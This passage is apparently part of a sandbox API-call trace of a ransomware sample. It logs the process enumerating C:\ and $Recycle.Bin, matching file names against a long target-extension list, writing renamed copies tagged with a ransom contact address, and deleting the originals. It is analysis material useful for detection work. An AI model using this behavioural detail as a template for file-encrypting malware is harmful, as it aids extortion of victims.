Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0072.775] GetLastError () returned 0x0 [0072.776] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x554, lpOverlapped=0x0) returned 1 [0072.781] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x560, lpOverlapped=0x0) returned 1 [0072.782] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.783] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.783] SetEndOfFile (hFile=0x1a0) returned 1 [0072.783] CloseHandle (hObject=0x1a0) returned 1 [0072.783] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.783] SetEndOfFile (hFile=0x1e4) returned 1 [0072.784] CloseHandle (hObject=0x1e4) returned 1 [0072.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.785] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.785] lstrlenW (lpString=".doc") returned 4 [0072.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.785] lstrlenW (lpString=".docx") returned 5 [0072.785] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.785] lstrlenW (lpString=".pdf") returned 4 [0072.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.785] lstrlenW (lpString=".xls") returned 4 [0072.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.785] lstrlenW (lpString=".xlsx") returned 5 [0072.785] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.785] lstrlenW (lpString=".ppt") returned 4 [0072.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.785] lstrlenW (lpString=".zip") returned 4 [0072.786] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.786] lstrlenW (lpString=".rar") returned 4 [0072.786] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.786] lstrlenW (lpString=".bz2") returned 4 [0072.786] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.786] lstrlenW (lpString=".7z") returned 3 [0072.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.786] lstrlenW (lpString=".dbf") returned 4 [0072.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.786] lstrlenW (lpString=".1cd") returned 4 [0072.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.786] lstrlenW (lpString=".jpg") returned 4 [0072.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.786] lstrlenW (lpString=".doc") returned 4 [0072.786] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.786] lstrlenW (lpString=".docx") returned 5 [0072.787] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.787] lstrlenW (lpString=".pdf") returned 4 [0072.787] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.787] lstrlenW (lpString=".xls") returned 4 [0072.787] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.787] lstrlenW (lpString=".xlsx") returned 5 [0072.787] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.787] lstrlenW (lpString=".ppt") returned 4 [0072.787] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.787] lstrlenW (lpString=".zip") returned 4 [0072.787] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.787] lstrlenW (lpString=".rar") returned 4 [0072.787] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.787] lstrlenW (lpString=".bz2") returned 4 [0072.787] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.787] lstrlenW (lpString=".7z") returned 3 [0072.787] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.787] lstrlenW (lpString=".dbf") returned 4 [0072.787] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.787] lstrlenW (lpString=".1cd") returned 4 [0072.787] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0072.788] lstrlenW (lpString=".jpg") returned 4 [0072.788] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.788] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.788] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0072.929] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11573) returned 1 [0072.929] CloseHandle (hObject=0x190) returned 1 [0072.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0072.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0072.930] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.930] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0072.942] GetLastError () returned 0x0 [0072.942] ReadFile (in: hFile=0x190, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0072.980] WriteFile (in: hFile=0x1f4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0072.982] ReadFile (in: hFile=0x190, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.982] WriteFile (in: hFile=0x1f4, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.982] SetEndOfFile (hFile=0x1f4) returned 1 [0072.982] CloseHandle (hObject=0x1f4) returned 1 [0072.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.983] SetEndOfFile (hFile=0x190) returned 1 [0072.984] CloseHandle (hObject=0x190) returned 1 [0072.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.985] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0072.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.985] lstrlenW (lpString=".doc") returned 4 [0072.985] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.985] lstrlenW (lpString=".docx") returned 5 [0072.985] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.985] lstrlenW (lpString=".pdf") returned 4 [0072.985] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.985] lstrlenW (lpString=".xls") returned 4 [0072.985] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.985] lstrlenW (lpString=".xlsx") returned 5 [0072.986] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.986] lstrlenW (lpString=".ppt") returned 4 [0072.986] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.986] lstrlenW (lpString=".zip") returned 4 [0072.986] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.986] lstrlenW (lpString=".rar") returned 4 [0072.986] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.986] lstrlenW (lpString=".bz2") returned 4 [0072.986] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.986] lstrlenW (lpString=".7z") returned 3 [0072.986] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.986] lstrlenW (lpString=".dbf") returned 4 [0072.986] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.986] lstrlenW (lpString=".1cd") returned 4 [0072.986] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.986] lstrlenW (lpString=".jpg") returned 4 [0072.986] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.987] lstrlenW (lpString=".doc") returned 4 [0072.987] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.987] lstrlenW (lpString=".docx") returned 5 [0072.987] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.987] lstrlenW (lpString=".pdf") returned 4 [0072.987] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.987] lstrlenW (lpString=".xls") returned 4 [0072.987] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.987] lstrlenW (lpString=".xlsx") returned 5 [0072.987] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.987] lstrlenW (lpString=".ppt") returned 4 [0072.987] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.987] lstrlenW (lpString=".zip") returned 4 [0072.987] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.987] lstrlenW (lpString=".rar") returned 4 [0072.987] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.987] lstrlenW (lpString=".bz2") returned 4 [0072.987] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.988] lstrlenW (lpString=".7z") returned 3 [0072.988] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.988] lstrlenW (lpString=".dbf") returned 4 [0072.988] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.988] lstrlenW (lpString=".1cd") returned 4 [0072.988] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0072.988] lstrlenW (lpString=".jpg") returned 4 [0072.988] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.988] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.989] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0x54c [0044.053] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x35f0e68 [0044.054] lstrlenW (lpString="C:") returned 2 [0044.054] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2edfd00 | out: lpFindFileData=0x2edfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x60bfc8 [0044.055] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0044.055] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0044.055] lstrlenW (lpString="$Recycle.Bin") returned 12 [0044.055] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0044.055] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3600e70 [0044.056] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0044.056] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x60c008 [0044.056] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.056] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0044.056] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0044.056] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0044.056] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0044.056] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0044.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3611e80 [0044.057] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0044.057] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b450 [0044.058] FindNextFileW (in: hFindFile=0x61b450, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.058] FindNextFileW (in: hFindFile=0x61b450, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0044.058] lstrlenW (lpString="desktop.ini") returned 11 [0044.058] lstrlenW (lpString=".1cd") returned 4 [0044.058] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0044.058] lstrlenW (lpString=".3ds") returned 4 [0044.058] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0044.058] lstrlenW (lpString=".3fr") returned 4 [0044.058] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0044.058] lstrlenW (lpString=".3g2") returned 4 [0044.058] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0044.058] lstrlenW (lpString=".3gp") returned 4 [0044.059] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0044.059] lstrlenW (lpString=".7z") returned 3 [0044.059] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0044.059] lstrlenW (lpString=".accda") returned 6 [0044.059] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0044.059] lstrlenW (lpString=".accdb") returned 6 [0044.059] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0044.059] lstrlenW (lpString=".accdc") returned 6 [0044.059] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0044.059] lstrlenW (lpString=".accde") returned 6 [0044.059] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0044.059] lstrlenW (lpString=".accdt") returned 6 [0044.059] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0044.059] lstrlenW (lpString=".accdw") returned 6 [0044.059] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0044.059] lstrlenW (lpString=".adb") returned 4 [0044.059] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0044.059] lstrlenW (lpString=".adp") returned 4 [0044.059] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0044.059] lstrlenW (lpString=".ai") returned 3 [0044.060] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0044.060] lstrlenW (lpString=".ai3") returned 4 [0044.060] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0044.060] lstrlenW (lpString=".ai4") returned 4 [0044.060] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0044.060] lstrlenW (lpString=".ai5") returned 4 [0044.060] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0044.060] lstrlenW (lpString=".ai6") returned 4 [0044.060] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0044.060] lstrlenW (lpString=".ai7") returned 4 [0044.060] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0044.060] lstrlenW (lpString=".ai8") returned 4 [0044.060] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0044.060] lstrlenW (lpString=".anim") returned 5 [0044.060] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0044.060] lstrlenW (lpString=".arw") returned 4 [0044.060] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0044.060] lstrlenW (lpString=".as") returned 3 [0044.060] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0044.061] lstrlenW (lpString=".asa") returned 4 [0044.061] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0044.061] lstrlenW (lpString=".asc") returned 4 [0044.061] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0044.061] lstrlenW (lpString=".ascx") returned 5 [0044.061] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0044.061] lstrlenW (lpString=".asm") returned 4 [0044.061] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0044.061] lstrlenW (lpString=".asmx") returned 5 [0044.061] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0044.061] lstrlenW (lpString=".asp") returned 4 [0044.061] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0044.061] lstrlenW (lpString=".aspx") returned 5 [0044.061] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0044.061] lstrlenW (lpString=".asr") returned 4 [0044.061] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0044.061] lstrlenW (lpString=".asx") returned 4 [0044.061] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0044.061] lstrlenW (lpString=".avi") returned 4 [0044.061] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".avs") returned 4 [0044.062] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".backup") returned 7 [0044.062] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0044.062] lstrlenW (lpString=".bak") returned 4 [0044.062] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".bay") returned 4 [0044.062] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".bd") returned 3 [0044.062] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0044.062] lstrlenW (lpString=".bin") returned 4 [0044.062] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".bmp") returned 4 [0044.062] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0044.062] lstrlenW (lpString=".bz2") returned 4 [0044.062] lstrcmpiW 